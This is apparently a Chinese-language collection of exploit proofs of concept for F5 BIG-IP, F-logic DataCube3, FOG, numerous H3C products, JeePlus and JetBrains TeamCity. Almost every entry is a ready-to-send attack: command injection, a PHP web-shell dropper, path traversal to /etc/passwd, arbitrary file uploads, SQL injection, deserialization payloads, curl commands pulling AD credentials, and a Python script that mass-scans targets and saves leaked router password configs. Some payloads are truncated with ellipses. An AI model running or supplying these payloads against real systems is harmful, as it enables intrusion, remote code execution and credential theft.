
F5 BIG-IP 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/tmui/login.jsp
  /mgmt/tm/util/bash
- 漏洞详情：

```
https://github.com/adysec/nuclei_poc/blob/ce5a47e163f5440c84dbfc0adb073ab35f562154/poc/cve/CVE-2023-46747.yaml
```

F-logic

F-logic DataCube3存在命令执行漏洞(CVE-2024-7066)

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/admin/config_time_sync.php
- 漏洞详情：

```
POST /admin/config_time_sync.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 116
Content-Type: application/x-www-form-urlencoded
Cookie: SESS_IDS=24ef0vbucnke26mtreijnfumve
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

accesstime=0.66992700 1710752870&execute=&ntp_enable=&ntp_server=127.0.0.1|id >aaa.txt|&ntp_retry_count=1
```

FOG

fogproject系统接口export.php存在远程命令执行漏洞(C

- 漏洞类型：nday - RCE
- 涉及版本：<=1.5.10.34
- 利用路径：/fog/management/export.php
- 漏洞详情：

```
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+lol.php)&type=pdf HTTP/1.1
Host: 192.168.15.5
Content-Length: 21
User-Agent: ToxicPotato
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

fogguiuser=fog&nojson=2
```

FOG敏感信息泄露(CVE-2024-41108)

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：

```
/fog/service/hostinfo.php
/fog/service/hostnameloop.php
/fog/service/blame.php
/fog/service/hostinfo.php
/fog/service/hostname.php
```

- 漏洞详情：

```
1.获取hostname
curl -i -s -k -X $'POST' --data-binary $'file=/var/log/fog/fogscheduler.log&ip=<BASE64_SERVERIP>' $'http://<SERVERIP>/fog/status/logtoview.php'

2.验证hostname、获取mac地址
GET /fog/service/hostnameloop.php?host=dGVzdGhvc3Q=

3.验证mac地址
GET /fog/service/blame.php?mac=aa:aa:aa:aa:aa:aa

response：## 有洞
response：no active task 无洞

4.获取AD敏感信息
curl -i -s -k -X $'GET' -H 'User-Agent:' $'http://<SERVERIP>/fog/service/hostinfo.php?mac=aa:aa:aa:aa:aa:aa'

5.获取AD凭证信息
```

```
curl -i -s -k -X $'GET' $'http://<SERVERIP>/fog/service/hostname.php?
mac=aa:aa:aa:aa:aa:aa'
```

H3C

H3C Workspace 云桌面 远程命令执行漏洞

- 漏洞类型：0day - RCE
- 涉及版本：<= E1013P13
- 利用路径：/webui/?g=aaa_portal_auth_adv_submit&tab_name=广告模板&welcome_word=广告模板&btn_color=337ab7&suffix=.php&bkg_flag=0&check_btn_color=&des=undefined
- 漏洞详情：

```
/webui/?g=aaa_portal_auth_adv_submit&tab_name=广告模板&welcome_word=广告模板
&btn_color=337ab7&suffix=%7Burlenc(%60id+%3E/usr/local/webui/test.txt%60)%7D&bkg_
flag=0&check_btn_color=&des=undefined
```

H3C Magic B1STV100R012 RCE

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/imc/javax.faces.resource/dynamiccontent.properties.xhtml
- 漏洞详情：

```
POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 1569
Content-Type: application/x-www-form-urlencoded

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOA
oSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOq
c4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgq
WarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvD
YH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaI
wJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcO
JKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog1
5OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOj
hiwhQEL0l68qrO%2BEb%2F6OMLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3N
cTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO
88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrM
lNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBWNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2Fvou
GHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvx
qPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE
3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV
3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn7Ohyab29iHYAf3%2B9hOaurkyJVR28jIQlF4nTOnZqpixP
%2FncOzrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVe
s7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBb
HeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1v
bjJGzFukA07ahU%3D&cmd=whoami
```

H3C 用户自助服务平台 dynamiccontent.properties.xhtml存在RCE漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml
- 漏洞详情：

```
POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 127.0.0.1
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
Content-Length: 1573
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOA
oSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOq
c4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgq
WarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvD
YH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FGOVTJWYtaI
wJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcO
JKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog1
5OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOj
hiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3N
cTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO
88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrM
lNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBWNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2Fvou
GHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvx
qPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE
3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV
3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP
%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVe
s7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBb
HeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1v
bjJGzFukA07ahU%3D&cmd=whoami
```

H3C-CVM-upload接口前台任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/cas/fileUpload/upload
- 漏洞详情：

```
POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/a.jsp&name=123 HTTP/1.1
Host: your-ip
Content-Range: bytes 0-10/20
Referer: http://your-ip/cas/login
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

<%out.println("test");%>
```

H3C-SecParh堡垒机任意用户登录漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/audit/gui_detail_view.php
- 漏洞详情：

```
/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin
```

H3C网络管理系统任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/webui/?file_name=
- 漏洞详情：

```
GET /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down HTTP/1.1
```

H3C-校园网自助服务系统flexfileupload任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/imc/primepush/%2e%2e/flexFileUpload
- 漏洞详情：

```
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=---------------WebKitFormBoundaryMmx988TUuintqO4Q
Accept-Encoding: gzip
Content-Length: 243

```

```
------------------WebKitFormBoundaryMmx988TUuintqO4Q
Content-Disposition: form-data; name="123.txt"; filename="123.txt"
Content-Type: application/octet-stream
Content-Length: 255

1111
------------------WebKitFormBoundaryMmx988TUuintqO4Q--
```

H3C密码泄露漏洞

- 漏洞类型：1day - 信息泄露
- 涉及版本：H3C ER8300G2-X
- 利用路径：/userLogin.asp/../actionpolicy_status/../ER8300G2-x.cfg
- 漏洞详情：

```
import requests
import urllib3
from urllib.parse import urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
payload = '/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg'
invalidkey = "home.asp"
with open('target.txt', 'r') as f:
    for target in f:
        url = target + payload
        # print('target:',url)
        try:
            req = requests.get(url, verify=False)
        except:
            pass
        if req.status_code == 200:
            if invalidkey not in req.text:
                parsed = urlparse(url)
                with open(str(parsed.hostname) + '.' + str(parsed.port) + '.txt',
'w') as w:
                    w.write(req.text)
                    w.close()
                    print('[+] Target: ' + target + ' is Vulnerability')
```

H3C集团官网某处任意用户登录漏洞

- 漏洞类型：0day - 未授权访问
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

H3C_iMC智能管理中心byod_index_xhtml命令执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/byod/index.xhtml
- 漏洞详情：

```
POST /byod/index.xhtml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Via: whoami

javax.faces.ViewState=8SzWaaoxnkq9php028NtXbT98DEcA...Uh57HB/L8xz6eq%2b4sy0rUOuO
dM5ccd2J6LPx8c6%2b53QkrX...jpFKgVnp07bad4n6CCBW8l98QIKwByAhLYdU2VpB/voaa....2
oU%2burahQDFE8mIaFvmwyKOHiwyovIHCVymqKwNdWXm3iHLhYEQXL4....k3z7MWm%2
bwbV2Dc9TXV4rs8E6M7ZvVM3BOpORK8vAhd2iLBkgFhGHw9ZgOwifGnyMzfxlU....gG4chE
Og57teuLurMPrulbEVBAEl7rRwobqvxb91sG%2bGMrGWFL5%2bwFvE56x7UEzHtE/oOIRtzTKi
/EFnamrPT1046e7L8jABKDB/LjCX2qAOmqQkIz4gXrEFnHHYZ9LZc7t9ZZPNT...JZjummuZuro
r/zwPbnsApwXlYsn2hDAZ7QlOBunA3t7omeOTI5keWXvmOH8eoEEN//SlmQblwhBZ7kSHPvSt
q0ZciiPptEzVjQ/k/gU2QbCSc7yG0MFbhcJEDQj4yKyJ/yTnOOma....KuNzZl%2bPpEua%2b28h2
YCKipVb5S/wOCrg%2bKD3DUFCbdWHQRqDaZyvYsc8C0X7fzutiVUlSB7OdGoCjub9WuW0d
2eeDWZmOt3Wunms3SwAbE7R%2bonCRVS8tiYWF8qiQS%2bl0k8Gw/Hz6NjpfeOupLIAtPFND
uSf69qGg4isEmY2FtoSQTdD8vU0BdJatHrBArPgo9Qsp0jSJBlUz2OqteQg05PYO6gEBXVj/RiTB
HI1/pOzlcEOwVZcLUHnxGNvckSCTiT....nWbkWGJ8AYCvrM0PHZ/BYcKKRf3rMHoIqcAN%2
bORMhXcmAXRcvq29c5xqoOuvrMSJPDZmbZhcm/99crGJSO5HxXQder9WKm2tVBaDLEC9ul
pWyICJYgfxayoWkt6vwPcq2Tn20vn5RDpfqJKLNLbrV8g7JDRUUyW%2b....R6PRNunKhfJHvH
cXAZ73mkCUf7cMUbNhqCbLSGP/D%2bqpqWXk5ZWjsT4tQ9tFH9uvPIaNB7FlcFXI2I2A9oPo
Y0ltif%2bb8BdPXVfpuZq8boHE4hY%2b33BIl%2bIa%2bov6nyMmGIzCKYeRbfDJtk/45EXvink
6BIgA/205la6vvqKTGQ32o1AtepBgKei....604cVvbEP7UKor09Gz61mryE4D%2biXG1prZGCT3L
EtdASuCkmf4RTEc5wks2In3ElZSZl8zf3RsHA0dgbvrpnXe2wLPI%2bUCAGO%2biOG9/%2bbC
QJQNFmykkyRbmslfcilUxZ%2bIg%2bQuOs9FlMod2ICrkktOFFeZWNeznx737S8H4Nf2%2bp2Q
NHY2I6GFGtWpqjeZ%2bGmb1euM5Tzi06eJ.......koPrjkDT9VPoxCgpRMQl06x7NShkos7BCI9f
V1%2b17t5gWZvqAYzeQUsZLaiBXaZfuUtPuBmbq1re/dB/VgSOn4QX%2b8AwwDjtfazsHw4aId
h4e2a1y/Ou2ZiI//EzkwIBksY6CluuPgocdvtOfNiWcXsfYs3UKLmL/48A4LsOOF1TrQK4UnfCYt...
..1DGrwzfXnM9vLHznFaJenqvLY3yTiKN5SSVxvGwvhmp6PFW4Jj7G8NXdr/zN7HyC9Eg1Y1j
KP7uiO%2bGM2U/etvMOCKwnfP2MnbznP378fZHf1H9yiVVrn%2bm%2b0u8PV.....2MsOTgS6
B7C8ItflgSfJz5dkJ8IssRAcY%2bu/2QjrW95BBMSRPu2EaCUm1IpuszXEwHYgDizWPzDB0hSR
gCEjncpGhPX3i10bK4/snBaBcAxAa1e2er2LDe/4WgaIwc9w2wKn3wXY5B87BKF5/Xq30....NNf
6EMRrQ9154rEkCJb4IU4sFsTuyYlfZatlV%2bC2HM7u7FEbdVvr6yYK4oQqvfPmF5yRplwAYU
QAvr1jwLbGYxhGaTy14UUrtvoyph5Sqebk2YTKjKX4U7xX5ha4YbyoVIMSRzdvB6YXDY3BId
%2bgmMWZtTf2UE%2b9UAx/7g30pQNXA....FP1adq6ySd4x3dGVCe4YJcYe2gKWYVcWj5XP
wUSt2fxdshzgFnjjqmRgxowH2u2nZU0xG539lnxIOlB
```

H3C-SecPath下一代防火墙local_cert_delete_both存在任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/webui/?g=local_cert_delete_both
- 漏洞详情：

```
POST /webui/?g=local_cert_delete_both HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: identity
Content-Length: 345
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=ed63f728755e4a2f90d094ec09b0ed9a

--ed63f728755e4a2f90d094ec09b0ed9a
Content-Disposition: form-data; name="submit_post"

local_cert_import
--ed63f728755e4a2f90d094ec09b0ed9a
Content-Disposition: form-data; name="key_file_name"; filename="QyFlQF.php"
Content-Type: text/plain

<?php echo md5('OmwiBdiyupqeAlMJ');@unlink(__file__);?>
--ed63f728755e4a2f90d094ec09b0ed9a--
```

H3C-iMC智能管理中心autoDeploy.xhtml存在远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/imc/dc3dtopo/dc2dtopo/autoDeploy.xhtml;.png
- 漏洞详情：

```
POST /imc/dc3dtopo/dc2dtopo/autoDeploy.xhtml;.png HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/94.0.2558.72 Safari/537.36
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: application/x-www-form-urlencoded
Connection: close
Via: whoami

javax.faces.ViewState=8SzWaaoxnkq9php028NtXbT98DEcA...Uh57HB/L8xz6eq%2b4sy0rUOuOd
M5ccd2J6LPx8c6%2b53QkrX...jpFKgVnp07bad4n6CCBW8l98QIKwByAhLYdU2VpB/voaa....2oU%2b
urahQDFE8mIaFvmwyKOHiwyovIHCVymqKwNdWXm3iHLhYEQXL4....k3z7MWm%2bwbV2Dc9TXV4rs8E6M
7ZvVM3BOpORK8vAhd2iLBkgFhGHw9ZgOwifGnyMzfxlU....gG4chEOg57teuLurMPrulbEVBAEl7rRwo
bqvxb91sG%2bGMrGWFL5%2bwFvE56x7UEzHtE/oOIRtzTKi/EFnamrPT1046e7L8jABKDB/LjCX2qAOmq
QkIz4gXrEFnHHYZ9LZc7t9ZZPNT...JZjummuZuror/zwPbnsApwXlYsn2hDAZ7QlOBunA3t7omeOTI5k
eWXvmOH8eoEEN//SlmQblwhBZ7kSHPvStq0ZciiPptEzVjQ/k/gU2QbCSc7yGOMFbhcJEDQj4yKyJ/yTn
OOma....KuNzZl%2bPpEua%2b28h2YCKipVb5S/wOCrg%2bKD3DUFCbdWHQRqDaZyvYsc8COX7fzutiVU
lSB7OdGoCjub9WuW0d2eeDWZmOt3Wunms3SwAbE7R%2bonCRVS8tiYWF8qiQS%2bl0k8Gw/Hz6Njpfe0u
pLIAtPFNDuSf69qGg4isEmY2FtoSQTdD8vUOBdJatHrBArPgo9Qsp0jSJBlUz2OqteQg05PYO6gEBXVj/
RiTBHI1/pOzlcEOwVZcLUHnxGNvckSCTiT....nWbkWGJ8AYCvrMOPHZ/BYcKKRf3rMHoIqcAN%2bORMh
XcmAXRcvq29c5xqoOuvrMSJPDZmbZhcm/99crGJSO5HxXQder9WKm2tVBaDLEC9ulpWyICJYgfxayoWkt
6vwPcq2Tn20vn5RDpfqJKLNLbrV8g7JDRUUyW%2b....R6PRNunKhfJHvHcXAZ73mkCUf7cMUbNhqCbLS
GP/D%2bqpqWXk5ZWjsT4tQ9tFH9uvPIaNB7FlcFXI2I2A9oPoY0ltif%2bb8BdPXVfpuZq8boHE4hY%2b
33BIl%2bIa%2bov6nyMmGIzCKYeRbfDJtk/45EXvink6BIgA/205la6vvqKTGQ32o1AtepBgKei....60
4cVvbEP7UKor09Gz61mryE4D%2biXG1prZGCT3LEtdASuCkmf4RTEc5wks2In3ElZSZl8zf3RsHA0dgbv
rpnXe2wLPI%2bUCAGO%2biOG9/%2bbCQJQNFmykkyRbmslfcilUxZ%2bIg%2bQuOs9FlMod2ICrkktOFF
eZWNeznx737S8H4Nf2%2bp2QNHY2I6GFGtWpqjeZ%2bGmb1euM5Tzi06eJ.......koPrjkDT9VPoxCgp
RMQl06x7NShkos7BCI9fV1%2b17t5gWZvqAYzeQUsZLaiBXaZfuUtPuBmbq1re/dB/VgSOn4QX%2b8Aww
DjtfazsHw4aIdh4e2a1y/Ou2ZiI//EzkwIBksY6CluuPgocdvtOfNiWcXsfYs3UKLmL/48A4LsOOF1TrQ
K4UnfCYt.....1DGrwzfXnM9vLHznFaJenqvLY3yTiKN5SSVxvGwvhmp6PFW4Jj7G8NXdr/zN7HyC9Eg1
Y1jKP7uiO%2bGM2U/etvMOCKwnfP2MnbznP378fZHf1H9yiVVrn%2bm%2bOu8PV.....2MsOTgS6B7C8I
tflgSfJz5dkJ8IssRAcY%2bu/2QjrW95BBMSRPu2EaCUm1IpuszXEwHYgDizWPzDB0hSRgCEjncpGhPX3
i10bK4/snBaBcAxAa1e2er2LDe/4WgaIwc9w2wKn3wXY5B87BKF5/Xq30....NNf6EMRrQ9154rEkCJb4
IU4sFsTuyYlfZatlV%2bC2HM7u7FEbdVvr6yYK4oQqvfPmF5yRplwAYUQAvr1jwLbGYxhGaTy14UUrtvo
yph5Sqebk2YTKjKX4U7xX5ha4YbyoVIMSRzdvB6YXDY3BId%2bgmMWZtTf2UE%2b9UAx/7g30pQNXA...
.FP1adq6ySd4x3dGVCe4YJcYe2gKWYVcWj5XPwUSt2fxdshzgFnjjqmRgxowH2u2nZU0xG539lnxIOlB
```

H3C-iMC智能管理中心存在远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/selfservice/login.jsf
- 漏洞详情：

```
POST /selfservice/login.jsf HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/94.0.2558.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Via: dir

javax.faces.ViewState=8SzWaaoxnkq9php028NtXbT98DEcA...Uh57HB/L8xz6eq%2b4sy0rUOuOd
M5ccd2J6LPx8c6%2b53QkrX...jpFKgVnp07bad4n6CCBW8l98QIKwByAhLYdU2VpB/voaa....2oU%2b
urahQDFE8mIaFvmwyKOHiwyovIHCVymqKwNdWXm3iHLhYEQXL4....k3z7MWm%2bwbV2Dc9TXV4rs8E6M
7ZvVM3B0pORK8vAhd2iLBkgFhGHw9ZgOwifGnyMzfxlU....gG4chEOg57teuLurMPrulbEVBAEl7rRwo
bqvxb91sG%2bGMrGWFL5%2bwFvE56x7UEzHtE/oOIRtzTKi/EFnamrPT1046e7L8jABKDB/LjCX2qAOmq
QkIz4gXrEFnHHYZ9LZc7t9ZZPNT...JZjummuZuror/zwPbnsApwXlYsn2hDAZ7QlOBunA3t7omeOTI5k
eWXvmOH8eoEEN//SlmQblwhBZ7kSHPvStq0ZciiPptEzVjQ/k/gU2QbCSc7yG0MFbhcJEDQj4yKyJ/yTn
OOma....KuNzZl%2bPpEua%2b28h2YCKipVb5S/wOCrg%2bKD3DUFCbdWHQRqDaZyvYsc8COX7fzutiVU
lSB7OdGoCjub9WuW0d2eeDWZmOt3Wunms3SwAbE7R%2bonCRVS8tiYWF8qiQS%2bl0k8Gw/Hz6Njpfe0u
pLIAtPFNDuSf69qGg4isEmY2FtoSQTdD8vU0BdJatHrBArPgo9Qsp0jSJBlUz2OqteQg05PYO6gEBXVj/
RiTBHI1/pOzlcE0wVZcLUHnxGNvckSCTiT....nWbkWGJ8AYCvrM0PHZ/BYcKKRf3rMHoIqcAN%2bORMh
XcmAXRcvq29c5xqoOuvrMSJPDZmbZhcm/99crGJSO5HxXQder9WKm2tVBaDLEC9ulpWyICJYgfxayoWkt
6vwPcq2Tn2Ovn5RDpfqJKLNLbrV8g7JDRUUyW%2b....R6PRNunKhfJHvHcXAZ73mkCUf7cMUbNhqCbLS
GP/D%2bqpqWXk5ZWjsT4tQ9tFH9uvPIaNB7FlcFXI2I2A9oPoY0ltif%2bb8BdPXVfpuZq8boHE4hY%2b
33BIl%2bIa%2bov6nyMmGIzCKYeRbfDJtk/45EXvink6BIgA/205la6vvqKTGQ32o1AtepBgKei....60
4cVvbEP7UKor09Gz61mryE4D%2biXG1prZGCT3LEtdASuCkmf4RTEc5wks2In3ElZSZl8zf3RsHA0dgbv
rpnXe2wLPI%2bUCAGO%2biOG9/%2bbCQJQNFmykkyRbmslfcilUxZ%2bIg%2bQuOs9FlMod2ICrkktOFF
eZWNeznx737S8H4Nf2%2bp2QNHY2I6GFGtWpqjeZ%2bGmb1euM5Tzi06eJ.......koPrjkDT9VPoxCgp
RMQl06x7NShkos7BCI9fV1%2b17t5gWZvqAYzeQUsZLaiBXaZfuUtPuBmbq1re/dB/VgSOn4QX%2b8Aww
DjtfazsHw4aIdh4e2a1y/Ou2ZiI//EzkwIBksY6CluuPgocdvtOfNiWcXsfYs3UKLmL/48A4LsOOF1TrQ
K4UnfCYt.....1DGrwzfXnM9vLHznFaJenqvLY3yTiKN5SSVxvGwvhmp6PFW4Jj7G8NXdr/zN7HyC9Eg1
Y1jKP7uiO%2bGM2U/etvMOCKwnfP2MnbznP378fZHf1H9yiVVrn%2bm%2b0u8PV.....2MsOTgS6B7C8I
tflgSfJz5dkJ8IssRAcY%2bu/2QjrW95BBMSRPu2EaCUm1IpuszXEwHYgDizWPzDB0hSRgCEjncpGhPX3
i10bK4/snBaBcAxAa1e2er2LDe/4WgaIwc9w2wKn3wXY5B87BKF5/Xq30....NNf6EMRrQ9154rEkCJb4
IU4sFsTuyYlfZatlV%2bC2HM7u7FEbdVvr6yYK4oQqvfPmF5yRplwAYUQAvr1jwLbGYxhGaTy14UUrtvo
yph5Sqebk2YTKjKX4U7xX5ha4YbyoVIMSRzdvB6YXDY3BId%2bgmMWZtTf2UE%2b9UAx/7g30pQNXA...
.FP1adq6ySd4x3dGVCe4YJcYe2gKWYVcWj5XPwUSt2fxdshzgFnjjqmRgxowH2u2nZU0xG539lnxIOlB
```

JeePlus

JeePlus快速开发平台resetpassword存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/kjds2022/a/sys/user/resetPassword?mobile=
- 漏洞详情：

```
/kjds2022/a/sys/user/resetPassword?
mobile=18888888888%27and%20(updatexml(1,concat(0x7e,
(select%20md5(123456)),0x7e),1))%23
```

Jetbrains

Jetbrains_Teamcity*远程代码执行漏洞*CVE_2023_42793

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/app/rest/debug/processes
- 漏洞详情：

```
DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded


POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1



POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Authorization: Bearer [管理员token]
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Content-Length: 0


POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Authorization: Bearer [管理员token]
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Content-Length: 0



POST /app/rest/debug/processes?exePath=id&parms=-a HTTP/1.1
Host:
Authorization: Bearer
